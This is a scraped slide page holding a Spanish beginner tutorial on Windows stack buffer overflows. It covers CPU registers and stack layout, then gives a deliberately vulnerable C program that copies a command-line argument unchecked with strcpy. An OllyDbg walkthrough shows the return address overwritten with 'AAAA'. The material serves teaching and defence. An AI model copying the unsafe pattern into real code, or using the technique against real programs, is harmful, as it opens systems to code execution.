Exposición tedExposición ted
Exposición ted
 
Historia de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan SaccoHistoria de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan Sacco
 

Último

institucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalenainstitucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalenajuniorcuellargomez
 
Buscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la webBuscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la webDecaunlz
 
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENAINSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENAdanielaerazok
 
Institucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalenaInstitucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalenadanielaerazok
 
12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdf12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdfedwinmelgarschlink2
 
Guia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdfGuia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdflauradbernals
 
COMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdfCOMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdfOscarBlas6
 
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdfNUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdfisrael garcia
 

Último (8)

institucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalenainstitucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalena
 
Buscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la webBuscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la web
 
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENAINSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
 
Institucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalenaInstitucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalena
 
12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdf12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdf
 
Guia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdfGuia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdf
 
COMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdfCOMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdf
 
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdfNUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
 

Exploits y stack overflows en windows 2017

  • 1. ***************************************** * EXPLOITS Y STACK OVERFLOWS EN WINDOWS * * Rojodos rojodos2[at]yahoo[dot]es * ***************************************** 2016
  • 2. Naaas :) Visto el "miedo" que se tiene al tema de los exploits y los buffers overflows, que parece algo místico, y que cada dos por tres un script kiddie pregunta en el foro como compilar un exploit, como funciona un exploit o donde encuentro un exploit, me he decidido a hacer un taller de buffers overflows y exploits, en Windows :) También veremos como crear una shellcode muy muy básica, muy explicadita, para que se entienda perfectamente. Quizás, si el tema tiene éxito, hagamos otro sobre Linux, aunque son bastante parecidos, en Linux la cosa cambia en muchos aspectos. Este documento esta basado en muchos que hay por la red, los cuales están al final del mismo, y de la aportación de muchos usuarios en diversos foros, listas de correo y como no, de exploits. Es mi primer texto "en serio", además es bastante largo, y aunque creo que no contiene errores muy graves, puede tenerlos :P cualquier fallo del texto, Comentario, opinión, amenaza, donación, oferta de trabajo, etc... al correo :) (abstenerse gilipolleces) Vamos al tema :)
  • 3. -== INTRODUCCION ==- La teoría sobre el tema la iremos viendo según avance el documento, aunque antes de nada, haremos unas definiciones muy simples. La idea de dichas definiciones es saber "lo básico", ya que este texto esta dirigido a iniciados, no a gente que ya domina el tema, aquí no vera nada nuevo, pero es imprescindible buscar por Internet mucha más información (sobre todo lo referente a programar en C/C++ y ASM) - C/C++ Es un lenguaje de programación muy extendido, multiplataforma, y fácil. Es la base de nuestros sistemas operativos(salvo cosas en ensamblador como rutinas de boot) y es tremendamente potente y optimizado. Sus archivos básicos son *.c y *.cpp (para los C++). Es el lenguaje más recomendable para aprender, el más útil. - Ensamblador (ASM) Es el lenguaje más "básico" que permite al programador interactuar con el CPU. Las instrucciones en ASM se pasan a binario, que es lo que "entiende" la CPU, es decir, 1s y 0s (aunque se agrupan en cadenas hexadecimales para mayor claridad). Realmente, un compilador ASM lo único que hace es calcularte las etiquetas, los saltos y los calls, y "encapsular" el ejecutable. Todos los lenguajes de programación, a la hora de compilar (obviamente, los lenguajes de script no), convierten su código en instrucciones ASM. Instrucciones en ASM (Intel) son por ejemplo mov, push, pop, etc....(En AT&T, seria popl, movl, pushl, etc..) Es un lenguaje de programación difícil de aprender, solo para cosas puntuales o que requieran una gran optimización, pero saberlo te dará muchas alegrías :) Cualquier informático debería poder entender
  • 4. y dominar las instrucciones básicas. - Debugger (Depurador) Un debugger es un programa que permite ir "paso a paso", instrucción a instrucción a otro programa. Al ir instrucción a instrucción, podemos ver completamente que esta pasando, los registros, la memoria, etc, así como muchas mas funciones muy interesantes. Su función principal es la de auditar código, y ver el porque falla (o simplemente porque no realiza lo que queremos que haga), es una herramienta imprescindible para cualquier programador. Lo que pasa que también puede servir para otras cosas :) - Dissasembler (Desamblador) Un desamblador es un programa que te muestra el código de un programa, una dll, lo que sea que este hecho de código que el desamblador entienda. Normalmente, te muestra su código en ASM (por ejemplo, un programa codeado en C, te muestra la conversión de dichas instrucciones C en ASM), aunque hay desambladores que permiten ver su código (o parte de el) de programas hechos en JAVA o VBasic, por ejemplo. Normalmente, debugger y dissasembler van en el mismo programa, los mas usados son el Ollydbg (el que usare aquí), Softice, IDA, Win32dasm... - Hex Editor (Editor Hexadecimal) No hay que confundir un dissasembler con un hex editor. El primero te muestra el código de un programa, el hex editor simplemente te muestra el contenido de un archivo, del tipo que sea, como un dumpeo hexadecimal y/o binario, así como la posibilidad de modificar y guardar dicho archivo. Se usa para rastrear y modificar archivos que usan programas, tanto para fines "de programación" (el
  • 5. porque al cargar el archivo falla, el porque no se escribe bien, etc...) como de "hacking" o "cracking". A mi, personalmente, me gusta mucho el Hackman, pero se que hay mucho mejores :P Cuestión de buscar. - La CPU (microprocesador) La CPU es el "corazón" de un ordenador. Es la unidad de hardware encargada de ejecutar las instrucciones de un programa o sistema operativo, instrucción a instrucción, que estén en una determinada área de memoria. Se ayuda de registros donde almacena variables, datos o direcciones. Una explicación completa sobre el tema, requeriría uno o varios libros, aunque googleando se encuentra muchísima información. - Registros de la CPU. La cpu (microprocesador) contiene una serie de registros, donde almacena variables, datos o direcciones de las operaciones que esta realizando en este momento. El lenguaje ASM se sirve de dichos registros como variables de los programas y rutinas, haciendo posible cualquier programa (de longitudes considerables, claro). Los más interesantes son: EIP Extended Instruction Pointer. El registro EIP siempre apunta a la siguiente dirección de memoria que el procesador debe ejecutar. La CPU se basa en secuencias de instrucciones, una detrás de la otra, salvo que dicha instrucción requiera un salto, una llamada...al producirse por ejemplo un "salto", EIP apuntara al valor del salto, ejecutando las instrucciones en la dirección que especificaba el salto. Si logramos que EIP contenga la dirección de memoria que queramos, podremos controlar la ejecución del programa, si también controlamos lo que haya en esa
  • 6. dirección. EAX, EBX... ESI, EDI... Son registros multipropósito para usarlo según el programa, se pueden usar de cualquier forma y para alojar cualquier dirección, variable o valor, aunque cada uno tiene funciones "especificas" según las instrucciones ASM del programa: EAX: Registro acumulador. Cualquier instrucción de retorno, almacenara dicho valor en EAX. También se usa para sumar valores a otros registros en funciones de suma, etc.... EBX Registro base. Se usa como "manejador" o "handler" de ficheros, de direcciones de memoria (para luego sumarles un offset) etc... ECX Registro contador. Se usa, por ejemplo, en instrucciones ASM loop como contador, cuando ECX llega a cero, el loop se acaba. EDX Registro dirección o puntero. Se usa para referenciar a direcciones de memoria mas el offset, combinado con registros de segmento (CS, SS, etc..) ESI y EDI Son registros análogos a EDX, se pueden usar para guardar direcciones de
  • 7. memoria, offsets, etc.. CS, SS, ES y DS Son registros de segmento, suelen apuntar a una cierta sección de la memoria. Se suelen usar Registro+Offset para direccionar a una dirección concreta de memoria. Los mas usados son CS, que apunta al segmento actual de direcciones que esta ejecutando EIP, SS, que apunta a la pila y DS, que apunta al segmento de datos actual. ES es "multipropósito", para lo mismo, referenciar direcciones de memoria, y un largo etc... ESP EBP Extended Stack Pointer y Extender Base Pointer. Ambos los veremos más en profundidad cuando explique la pila. Sirven para manejar la pila, referenciando la "cima" (ESP) y la "base" (EBP). ESP siempre contiene la dirección del inicio de la pila (la cima) que esta usando el programa o hilo (thread) en ese momento. Cada programa usara un espacio de la pila distinto, y cada hilo del programa también. EBP señala la dirección del final de la pila de ese programa o hilo. - ¿Que es una vulnerabilidad? Una vulnerabilidad es un fallo que compromete la seguridad del programa o sistema. Aunque se le asocia también a "bug" (fallo), pero no es lo mismo. Un bug es un fallo de cualquier tipo, desde que un juego no funcione bien porque vaya lento, a un programa que funciona mal al intentar hacer una división por 0. Las vulnerabilidades son bugs de seguridad, que pueden comprometer el sistema o el programa, permitiendo al "hacker" ejecutar código arbitrario, detener el sistema o aprovecharse del mismo para sacar cualquier tipo de beneficio.
  • 8. - ¿Que es un exploit? Un exploit es un código, un "método", un programa, que realiza una acción contra un sistema o programa que tiene una vulnerabilidad, "explotándola", y sacando un beneficio de la misma. Dicho beneficio normalmente es la ejecución de código (dentro de ese programa, con los privilegios del mismo) que nos beneficia, dándonos por ejemplo una contraseña, o dándonos una shell de comandos, añadir un usuario administrador al sistema, o incluso lo único que hacen es detener el servicio o el sistema, según nuestros propósitos. Habría que distinguir entre exploits "completos" (los que están completamente funcionales) y los POCs (proof of concept) que son exploits que demuestran que dicha vulnerabilidad existe y que es explotable, pero que no dan ningún beneficio o el beneficio es mínimo. Normalmente se usan estos últimos para evitar el uso de los mismos por niñatos (script kiddies) o para evitar gusanos (supongo que se acuerdan del blaster o del sasser, se liberaron los exploits completamente funcionales) - ¿Que es una shellcode? Una shellcode es un código básico en ASM, muy corto generalmente, que ejecuta los comandos que queremos, como system("cmd.exe") (ejecuta una shell msdos en windows); o execv("/bin/sh") (ejecuta una shell sh en Linux/Unix), o sirve para añadir un usuario a la cuenta del sistema, para descargar un troyano y ejecutarlo, para dejar abierto un puerto conectado a una shell, etc.... Es el código que ejecutara el programa vulnerable una vez tengamos su control. No es nada difícil de programar sabiendo ASM básico y como funciona tu SO. Una vez programada en ASM (para testearla, por ejemplo, además de que es mas fácil programarla en ASM que directamente con opcodes :P), se pasa a un string, compuesto por los opcodes (codigos de operacion, en hexadecimal) de dichas
  • 9. instrucciones ASM. Lo veremos mas adelante :) - ¿Que es un overflow? Un overflow es, básicamente, cuando resguardamos espacio de memoria insuficiente para una variable (allocate), y le introducimos más datos a dicha variable de los que puede soportar. La variable "desborda", y los datos que no caben sobrescriben memoria continua a dicha variable. Si declaramos una variable que solo debe soportar 8bytes, si le movemos 10bytes, los 2bytes restantes no se pierden, sino que sobrescriben la memoria contigua a dicha variable. Hay distintos tipos de overflow, stack overflow (el que veremos aquí, también llamado buffer overflow, o desbordamiento de buffer, etc...), heap overflow (ya lo veremos en algún otro texto, se refiere a desbordar una variable declarada en el heap en vez de en la pila...), format string overflow (bugs de formato de las cadenas de texto), integer overflow (debidos a declaraciones de variables con un espacio mínimo o negativo que proveemos nosotros...), etc... - ¿Porque se le llama Stack Overflow? La pila (stack) es una estructura tipo LIFO, Last In, First Out, ultimo en entrar, primero en salir. Pensad en una pila de libros, solo puedes añadir y quitar libros por la "cima" de la pila, por donde los añades. El libro de mas "abajo", será el ultimo en salir, cuando se vacíe la pila. Si tratas de quitar uno del medio, se puede desmoronar. Bien, pues el SO (tanto Windows como Linux, como los Unix o los Macs) se basa en una pila para manejar las variables locales de un programa, los retornos (rets) de las llamadas a una función (calls), las estructuras de excepciones (SEH, en Windows), argumentos, variables de entorno, etc...
  • 10. Por ejemplo, para llamar a una función cualquiera, que necesite dos argumentos, se mete primero el argumento 2 en la pila del sistema, luego el argumento 1, y luego se llama a la función. Si el sistema quiere hacer una suma (5+2), primero introduce el 2º argumento en la pila (el 2), luego el 1º argumento (el 5) y luego llama a la función suma. Bien, una "llamada" a una función o dirección de memoria, se hace con la instrucción ASM Call. Call dirección (llamar a la dirección) ó call registro (llama a lo que contenga ese registro). El registro EIP recoge dicha dirección, y la siguiente instrucción a ejecutar esta en dicha dirección, hemos "saltado" a esa dirección. Pero antes, el sistema debe saber que hacer cuando termine la función, por donde debe seguir ejecutando código. El programa puede llamara la función suma, pero con el resultado, hacer una multiplicación, o simplemente mostrarlo por pantalla. Es decir, la CPU debe saber por donde seguir la ejecución una vez terminada la función suma. Para eso sirve la pila :) Justo al ejecutar el call, se GUARDA la dirección de la siguiente instrucción en la pila. Esa instrucción se denomina normalmente RET o RET ADDRESS, dirección de "retorno" al programa principal (o a lo que sea). Entonces, el call se ejecuta, se guarda la dirección, coge los argumentos de la suma, se produce la suma y, como esta guardada la dirección por donde iba el programa, VUELVE (RETORNA) a la dirección de memoria que había guardada en la pila (el ret), es decir, a la dirección siguiente del call. Vamos a verlo por pasos :)
  • 11. 1º Llegamos al call (EIP apunta a la instrucción call) 2º Se ejecuta el call. EIP apunta a la instrucción del call, es decir, donde debemos ir) 3º Se guarda la siguiente instrucción después del call en la pila (el ret) En ese momento, la pila esta así: ESP | RET ADDRESS | EBP -8bytes ESP +4bytes | argumento 1 | EBP -4bytes ESP +8bytes | argumento 2 | <--- EBP apunta aquí (la base de la pila) 4º La cpu ejecuta la/las instrucciones dentro de la función suma (obviamente, dentro de la función suma se usara la pila para almacenar datos y demás...) 5º La función suma alcanza la instrucción RETN (retorno), y EIP recoge la dirección RET ADDRESS, y vuelve al programa principal, justo después del call suma. Espero que se entienda, es muy importante, ya que un stack overflow significa introducir suficientes datos en la pila, hasta poder sobrescribir dicho ret address, pero eso lo veremos mas adelante. Imaginaos que al hacer ese call, dentro de la función suma necesitamos un espacio para alojar por ejemplo, el resultado, o uno de los operandos, lo que sea. Bien, cuando el programa o el SO piden "espacio" para alojar una/s variable/s, un dato, un nombre o lo que sea, dicho nombre normalmente se guarda en la pila (no entraremos en temas de heap). Básicamente, lo que se hace es crear un "espacio" entre un nuevo ESP y EBP (cima y base de la pila) para alojar las variables. Son "nuevos" para no sobrescribir
  • 12. los variables y valores que ya haya en la pila, de otras funciones o programas Posteriormente, se introduce el EBP antiguo en la pila (se pushea), para saber DONDE estaba la anterior base de la pila, la pila del proceso principal. Esto también es importante, es el EBP salvado del proceso anterior. Cuando la función suma acabe, EBP tomara el valor del EBP salvado, y estaremos otra vez en el "trozo" de pila del proceso principal. Ahora mismo, la pila esta así: ESP | EBP anterior salvado | EBP - 4 ESP +4bytes | RET ADDRESS | <---- El EBP actual apunta aquí ESP +8bytes | argumento 1 de suma | EBP +4 ESP +12bytes | argumento 2 de suma | EBP + 8 Tras esto, se "sustrae", se "resta" a ESP tantos bytes como necesitemos de espacio para nuestra variable. Al sustraerle bytes, la diferencia entre ESP y EBP son esos bytes, donde irán nuestros datos (nombre, datos, lo que sea). Por ejemplo, si nuestra variable "nombre", necesita 12 bytes (siempre se hace con múltiplos de 4, por temas de alineamiento en la pila), pues se le sustrae a ESP 12 bytes: ESP | basura, aun no hay nada inicializado| EBP -16 ESP +4 | basura | EBP -12 ESP +8 | basura | EBP -8 ESP +12 | EBP anterior salvado | EBP -4 ESP +16 | RET ADDRESS | EBP (el EBP no cambia) ESP +20 | argumento 1 de suma | EBP +4 ESP +24 | argumento 2 de suma | EBP +8 Como se ve, hay 4+4+4 bytes de basura (basura quiere decir que son datos que había antes ahí, de anteriores usos de la pila, pero que no nos sirven) para
  • 13. nuestro nombre o lo que sea, de 12 bytes. Pero, si esos bytes no son suficientes, al introducir nuestro nombre por ejemplo, si solo tenemos espacio para 12 bytes (12 caracteres), y introducimos 14, los 2 bytes que sobran, sobrescribirán la memoria contigua a la declarada en la variable, es decir, sobrescribirán el EBP de la anterior función, si metemos 4 lo sobrescribiremos completamente: Introducimos AAA...A (16 As) para ver que pasa (esto no se haría con push, que aumentan ESP, sino con instrucciones MOV) ESP | AAAA | EBP -16 ESP +4 | AAAA | EBP -12 ESP +8 | AAAA | EBP -8 ESP +12 | (EBP anterior salvado sobrescrito) AAAA | EBP -4 ESP +16 | RET ADDRESS | EBP ESP +20 | argumento 1 de suma | EBP +4 ESP +24 | argumento 2 de suma | EBP +8 Y si le metemos otras 4 AAAA, sobrescribiremos el ret, que es lo que nos interesa :) Bien, pasemos a la práctica real, donde se vera todo mucho mejor explicado :) -== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==- Hache esta el típico típico típico código de stack overflow. Cualquiera que haya leído un doc sobre buffer overflow, habrá visto un código semejante (sino igual) a este. Y, como todos los tutoriales sobre programación empiezan con el "Hola Mundo", yo
  • 14. empezare con el código típico vulnerable :) El código esta comentado (//) para que entendáis cada línea: /* vuln1.c por Rojodos */ #include <stdio.h> // librería stdio.h, funciones básicas de Entrada/Salida int main (int argc, char **argv){ // La función "principal" del programa función char buffer[64]; //Declaramos un array con 64 bytes de espacio if (argc < 2){ // Si los argumentos son menores que 2... printf ("Introduzca un argumento al programan"); //Printeamos return 0; // y retornamos 0 a la función main, y el programa acaba } strcpy (buffer, argv[1]); // Aqui es donde esta el fallo. return 0; // Devolvemos 0 a main, y el programa acaba. } El fallo esta en la función strcpy. Esa función copiara lo que hayamos metido por argumentos al programa (argv[1]) dentro de la variable buffer. Pero buffer solo tiene espacio para 64 caracteres, no hay ningún chequeo de tamaño de la fuente (eso se hace por ejemplo, con la función mas segura strncpy), y por argumentos al programa le podemos meter lo que queramos. Si lo compilamos (con cualquier compilador C/C++ en Windows, recomiendo Dev Cpp o Visual C++), generamos el archivo vuln1.exe Al ejecutarlo en una consola MSDOS así:
  • 15. Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. F:Rojodosmanual exploits>vuln1 AAAAA(Muchas AAAAs, mas de 64)AAAAAAAAAAA.... Os saldrá la típica ventanita de que vuln1.exe ha detectado un problema y debe cerrarse. Si pincháis en "Para ver los datos de los errores, haga click aquí", veréis que pone "Offset:41414141". "A" en hexadecimal es 41 (mirad la tabla en www.asciitable.com). Es decir, hemos sobrescrito la dirección de retorno de MAIN () (no de strcpy, pues la dirección de strcpy va ANTES de la variable buffer en la pila, ya que primero se declara buffer, y luego se llama a strcpy, con lo que la variable buffer esta "debajo", en direcciones mas altas, de strcpy en la pila) con AAAA --> 41414141 :) Esto lo podemos ver mucho mejor en un debugger, como el Ollydbg (en www.elhacker.net lo encontraras fácilmente, o en su pagina principal, googlead un poco) Usar un debugger, y mas el olly, es realmente fácil, no tiene ningún misterio. Si alguien se cree que es una herramienta para "elites" y súper difícil de usar, esta completamente equivocado. Bien, con el olly, cargamos el programa (File -> Open -> vuln1.exe). Veréis que salen un montón de instrucciones en la ventana principal, con la dirección relativa de código inicial de 00401000. Esta dirección es la dirección base del ejecutable en memoria (00400000, el 99% de los ejecutables se carga en esa dirección) mas el offset señalado en el PE header, que indica donde empieza el código (entry point, en este caso el offset es +1000h). También deberíais ver a vuestra derecha, el estado de los registros de la CPU,
  • 16. EAX, EBX...ESI, EDI, EBP, ESP y EIP, y los valores que contienen. Abajo a la izquierda, deberíais ver el dumpeo en hexadecimal, cosa que no usaremos, y abajo a la derecha, la pila (stack). Ahí tenéis que tener la vista casi fija :) Una vez cargado el ejecutable (se os abrirá una ventanita de MS-DOS, pero que no sale nada, no os preocupéis, el programa esta cargado en memoria, pero no se esta ejecutando aun),le metemos los argumentos (copiamos todas las AAAs que hay mas arriba en el texto, y nos vamos a Debug -> Arguments, y las copiamos ahí). Os dirá que tenemos que resetear el programa para que los argumentos tengan efecto (nos vamos a Debug-> Restart). Y listo :) Le damos a RUN (Debug -> Run ó F9) y.... Access violation when executing [41414141] Fijaros en el valor de EIP (ventana de los registros del CPU). EIP = 41414141 Ha tratado de ejecutar lo que hay en la dirección "AAAA" :) Vamos a ver esto un poco mas "pausado", para ver como funciona realmente. Hacemos un Restart (Debug->Restart) y vuelve el programa a su estado inicial (los argumentos siguen siendo las AAAs que metimos, no hay que cambiarlo). Esta vez vamos a poner un breakpoint en la función de strcpy, para ver en directo que esta pasando. Un breakpoint es un "punto de ruptura", que indica al debugger que cuando la ejecución llegue ahí (cuando el registro EIP señale la dirección de memoria donde hemos puesto el BP), se pare la ejecución (NO SE EJECUTA LA INSTRUCCION SEÑALADA CON EL BP), para echar un vistazo, a ver que esta pasando :) Bajamos un poco por el código, hasta que encontramos algo así:
  • 17. 004012CD |. 68 80124000 PUSH vuln1.00401280 ; /format = "Introduzca un argumento al programa" 004012D2 |. E8 79170000 CALL <JMP.&msvcrt.printf> ; printf 004012D7 |. 83C4 10 ADD ESP,10 004012DA |. EB 17 JMP SHORT vuln1.004012F3 004012DC |> 83EC 08 SUB ESP,8 004012DF |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 004012E2 |. 83C0 04 ADD EAX,4 004012E5 |. FF30 PUSH DWORD PTR DS:[EAX] ; /src 004012E7 |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; | 004012EA |. 50 PUSH EAX ; |dest 004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; strcpy 004012F0 |. 83C4 10 ADD ESP,10 Os explico antes de nada, que es cada "cosa". 004012XX es la dirección relativa de memoria donde esta el ejecutable. Es decir, su dirección relativa en la RAM. Como ya he dicho, todos los ejecutables cargados en memoria, empiezan en 00400000+offset del entry point (que normalmente es 1000h, osea, el punto inicial en la memoria de inicio del código del programa es 00401000h). EIP va cogiendo cada dirección, una detrás de otra, y la CPU ejecuta la instrucción contenida en esa dirección. 68 80124000 --> Son los "opcodes" de la instrucción ASM, mas o menos como decir que es la instrucción ASM “convertida” en hexadecimal (mas bien de binario 01010.. a hexadecimal, para que lo podamos comprender mucho mejor). Esto nos vendrá bien para que hagamos nuestra shellcode :) PUSH vuln1.00401280 --> instrucciones en ASM, en este caso esta introduciendo
  • 18. en la pila la dirección del ejecutable (sección .data) donde esta el string "Introduzca un..." Lo demás, es una "ayuda" del ollydbg, que te puede decir por ejemplo que estas introduciendo en la pila (format="Introduzca..."), o a que estas llamando (CALL <JMP.&msvcrt.printf> ; printf), etc.... Bien, el printf ese, es el código que se ejecuta si no le metemos argumentos al programa, no nos tiene porque interesar (es el código que se ejecuta cuando no metemos argumentos al programa) Pero si esto: 004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; strcpy 004012F0 |. 83C4 10 ADD ESP,10 Aquí se produce la llamada a la función vulnerable (llama a la DLL msvcrt.dll, donde esta la función C strcpy) y si os fijáis, la siguiente dirección a ejecutar es 004012F0 ADD ESP,10. Cuando se produzca el Call strcpy, se pusheara en la pila 004012F0, que es la dirección de retorno (ret address). Para verlo, pondremos un breakpoint en la llamada a strcpy. Pulsáis con el ratón en esa dirección, y pulsáis F2. Se tendría que iluminar de rojo esa dirección. Pues tras ponerle el BP, le damos a RUN (F9) El programa se detiene antes de ejecutar esa instrucción (fijaos que ahora, aparte de rojo, aparece con un cuadro negro la dirección de memoria, significa que esa es la siguiente dirección a ejecutar). Por si no nos ha quedado claro, EIP marca precisamente esa dirección, 004012EB
  • 19. ¿Que hay en la pila? 0022FF00 0022FF28 |dest = 0022FF28 0022FF04 003D24A3 src = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAAAAAs) AAAAAAAAAAAAAAAA" ESP apunta a 0022FF00, donde vemos el destino (0022FF28, que es la dirección de la variable buffer en la pila, mas "abajo", osea en direcciones mas altas). Y "src" (source -> fuente) es lo que vamos a copiar en el destino, 0022FF28. Esta referenciado por 003D24A3, que precisamente es la dirección de argv[1], donde comienza la cadena "AAAAA....". Sigamos. Que hay en 0022FF28? Pues espacio "reservado" para la variable buffer. Sin embargo, vemos algo así: 0022FF28 |FFFFFFFF <-- Empiezan los 64 bytes reservados para buffer, es basura 0022FF2C |77BFAB33 RETURN to msvcrt.77BFAB33 from msvcrt.77C054FD <-- Basura 0022FF30 |77C09348 RETURN to msvcrt.77C09348 from msvcrt.free <-- Basura 0022FF34 |003D25A8 <-- Basura 0022FF38 |003D2470 <-- .. 0022FF3C |0000000C <-- ... 0022FF40 |77C08A55 RETURN to msvcrt.77C08A55 from msvcrt.77C09292 <--basura 0022FF44 |004D7EF9 0022FF48 |0012D548 0022FF4C |7FFDF000 <-- Todo esto hasta abajo siguie siendo basura 0022FF50 |000000ED 0022FF54 |00000003 0022FF58 |0022FF60 0022FF5C |77BEE921 RETURN to msvcrt.77BEE921 from msvcrt.77C089C2 <--basura
  • 20. 0022FF60 |0022FFA0 0022FF64 |004010C0 RETURN to vuln1.004010C0 from <JMP.&msvcrt.__getmainargs> 0022FF68 |00403000 vuln1.00403000 <-- basura... 0022FF6C |00403004 vuln1.00403004 <--- AQUI terminan los 64 bytes reservados para buffer (incluido) 0022FF70 ]0022FFA0 <-- EBP salvado del anterior proceso (main) 0022FF74 |00401170 RETURN to vuln1.00401170 from vuln1.004012A6 <-- dirección de retorno de main() Si os fijáis, justo debajo de donde terminan los 64 bytes reservados para buffer (todo lo que hay es basura, de anteriores funciones y tal, que no se van a volver a usar), esta el EBP anterior salvado (el EBP de la función main, la base de SU pila) y debajo esta la dirección de retorno de la función main. Veis que esta en la dirección 0022FF74, y que apunta a la instrucción 00401170. Cuando la función main() del programa termina, se ejecuta lo que haya en esa dirección. ¿Y que hay ahí? 00401170 |. 89C3 MOV EBX,EAX ; | 00401172 |. E8 59180000 CALL <JMP.&msvcrt._cexit> ; |[msvcrt._cexit 00401177 |. 891C24 MOV DWORD PTR SS:[ESP],EBX ; | 0040117A . E8 51190000 CALL <JMP.&KERNEL32.ExitProcess> ; ExitProcess Una llamada a exit en msvcrt.dll y posteriormente una llamada a la API ExitProcess dentro de Kernel32.dll, el programa termina. ¿Fácil no?
  • 21. Bueno, estamos parados justo antes de entrar en el strcpy. Para no tener que ir saltando por la DLL (lo que haría seria ir instrucción por instrucción de como trabaja strcpy() en la msvcrt.dll), en vez de pulsar F7 (que ENTRARIAMOS en el CALL), le damos a F8, que "salta" a la siguiente instrucción sin entrar en el CALL. (Es decir, el call se ejecuta así como todas las instrucciones que conlleva, pero nosotros no lo vemos, el programa se para justo después de terminar la función strcpy). Si pulsáis F9 (Run), el programa terminara con el fallo famoso, y no veremos nada, así que pulsad F8. Ahora se ha ejecutado la función strcpy, se han copiado todas las AAAs al buffer, y estamos justo debajo de la llamada a Strcpy(): 004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; strcpy 004012F0 |. 83C4 10 ADD ESP,10 <--- Estamos aquí EIP apunta a 004012F0, es la siguiente instrucción que se va a ejecutar. Miremos la pila: 0022FF00 0022FF28 ASCII "14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" 0022FF04 003D24A3 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" 0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs) AAAAAAAAAAAAAAAAAAAAAAAA" 0022FF0C 004012C4 RETURN to vuln1.004012C4 from vuln1.004013D0 0022FF10 77BE2048 msvcrt.77BE2048
  • 22. 0022FF14 0022FEF8 0022FF18 77BFAC19 RETURN to msvcrt.77BFAC19 from msvcrt.77C054FD 0022FF1C 0022FFE0 ASCII "AAAAAAAAAAAAA" 0022FF20 77C03EB0 msvcrt._except_handler3 0022FF24 00000000 0022FF28 41414141 <-- Aqui empieza la variable buffer 0022FF2C 41414141 0022FF30 41414141 0022FF34 41414141 0022FF38 41414141 0022FF3C 41414141 0022FF40 41414141 0022FF44 41414141 0022FF48 41414141 0022FF4C 41414141 0022FF50 41414141 0022FF54 41414141 0022FF58 41414141 0022FF5C 41414141 0022FF60 41414141 0022FF64 41414141 0022FF68 41414141 0022FF6C 41414141 <--- Aquí terminaban los 64 bytes de tamaño de buffer. A partir de aquí hemos hecho el overflow. 0022FF70 41414141 <--- EBP salvado del anterior proceso, sobrescrito con AAAA 0022FF74 41414141 <--- Antigua dirección del ret del main () sobrescrito con AAAA 0022FF78 41414141 0022FF7C 41414141 0022FF80 41414141 0022FF84 41414141
